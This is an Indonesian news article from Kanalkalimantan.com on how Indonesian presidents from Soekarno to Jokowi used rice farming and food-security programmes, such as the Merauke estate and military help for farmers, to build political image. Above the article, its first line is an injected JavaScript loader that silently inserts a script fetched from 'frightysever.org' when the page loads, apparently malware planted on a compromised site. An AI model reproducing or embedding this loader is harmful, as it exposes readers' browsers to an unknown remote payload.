(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALMANTAN.COM, BANJARBARU – Sawah menjadi ladang menuai citra politik bagi para penguasa. Maka tak heran, dari zaman Soekarno hingga Jokowi, kebijakan sektor pertanian menjadi semacam ‘pesan’ yang wajib tersampaikan kepada masyarakat.
Dalam pelbagai kunjungan kerja ke sejumlah daerah, Jokowi, misalnya, kerap mendatangi para petani yang tengah menggarap sawah. Selama kepemimpinannya pula, sejumlah kebijakan tentang ketahanan pangan sempat mengalami perdebatan.
Sebelumnya, melanjutkan proyek presiden sebelumnya dengan membuka ribuan hektare sawah di Papua yang secara kultural tidak dekat dengan budaya sawah. Susilo Bambang Yudhoyono pada 2006 menamakan program tersebut MIRE (Merauke Integrated Rice Estate). Lalu pada 2008 namanya berubah menjadi MIFEE (Merauke Integrated Food and Energy Estate).
Mula-mula proyek tersebut menargetkan 2,5 juta hektare lahan, tapi Jokowi mengubahnya menjadi 1,2 juta hektare lahan. Dan kenyataannya terus berkurang.
Dalam pelaksanaannya, proyek ini kerap berhadapan dengan sejumlah masalah. Di antaranya lahan yang dibuka berkaitan dengan tanah adat yang sakral dan tempat-tempat untuk tanaman sagu, bahan makanan pokok warga setempat.
Kebijakan lain yang mengundang sorotan masyarakat adalah dikerahkannya tentara untuk membantu petani menggarap sawah. Pengerahan sejumlah Babinsa (Bintara Pembina Desa) dimaksudkan untuk mendukung tercapainya apa yang disebut “target swasembada pangan tahun 2017”, yang dicanangkan Jokowi sebagai program prioritas kedaulatan pangan dalam Nawacita. Pelibatan tentara itu dituangkan dalam kerja sama antara Kementerian Pertanian dan TNI Angkatan Darat.
Sejumlah pihak mengkritisi kerjasama tersebut. Mereka mempertanyakan dasar hukum kerja sama yang tidak jelas. Poin mereka adalah bahwa pelibatan TNI selain perang harus berdasarkan keputusan politik negara.
“Karena sebenarnya tugas pokok secara hukum pelibatan bantuan pangan itu adalah bagian dari operasi selain perang, yang hanya bisa dilakukan jika ada instruksi dari presiden. Persoalannya, tidak ada keputusan presiden,” kara direktur Imparsial Al Araf sebagaimanya dikutip dari Tirto.id.
Dan saat ini, proyek food estate yang sedang dicanangkan dengan menunjuk Kemenhan sebagai leading sector juga menuai sejumlah protes yang sama.
Tak hanya Jokowi, pada satu dekade kepemimpinan SBY, selain kebijakan membuka 2,5 hektare sawah di Papua, pemerintah pun menuai malu karena kasus padi Super Toy HL2 (Heru Lelono 2). Harapan manis dan puja-puji yang membubung atas Super Toy HL2, seketika mati. Petani di Kecamatan Grabag yang menanam padi Super Toy menggelar aksi protes. Mereka merasa dibohongi karena ternyata padi tersebut kopong.
Rakyat meradang, pemerintah cuci tangan. Andi Mallarangeng, yang saat itu juru bicara presiden, mengelak jika pemerintah terlibat dalam kegagalan tersebut. Begitu juga Heru Lelono, ia menyebut SBY tidak membiayai dan tidak punya saham dalam perusahaan yang mengembangkan padi Super Toy HL 2.
Sementara di era Orde Baru, Soeharto, yang kerap muncul di televisi saat menghadiri panen lengkap dengan caping dan seikat padi, terobsesi dengan program swasembada pangan. Pada 1984, target itu tercapai. Namun, ketahanan pangan tersebut begitu rapuh dan akhirnya tak bertahan lama. Enam tahun kemudian, Indonesia kembali mengimpor beras.
Setelah itu, krisis ekonomi mulai mengintai kawasan Asia. Imbas dari krisis ekonomi tersebut menjalar kepada persoalan politik. Dan puncaknya, Soeharto dilengserkan pada 1998 setelah 32 tahun berkuasa.
Kisah sawah dengan presiden republik pertama Soekarno juga tak kalah menarik. Seperti dituturkan Cindy Adams dalam ‘Bung Karno Penyambung Lidah Rakyat Indonesia (2007),’ dalam perjalanan ke Bandung Sukarno melihat seorang petani tengah mencangkul sawah miliknya sendiri. Ia mendekatinya, lalu terjadi tanya jawab.
Isi percakapannya adalah sawah tersebut milik Marhaen (sebutan untuk para petani), juga alat-alat produksi seperti cangkul dan sekop. Namun, semua kepemilikan itu tak membuat hasil produksinya (beras) mampu mencukupi kehidupan sehari-hari.
“Para petani kita mengusahakan bidang tanah yang sangat kecil sekali. Mereka adalah korban dari sistem feodal, di mana pada awalnya petani pertama diperas oleh bangsawan yang pertama, dan seterusnya sampai ke anak-cucunya selama berabad-abad. Rakyat yang bukan petani pun menjadi korban dari imperialisme perdagangan Belanda, karena nenek moyangnya telah dipaksa untuk hanya bergerak di bidang usaha yang kecil sekadar bisa memperpanjang hidupnya. Rakyat yang menjadi korban ini, yang meliputi hampir seluruh penduduk Indonesia, adalah Marhaen,” ucap Sukarno.(Kanalkalimantan.com/cel/berbagai sumber)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.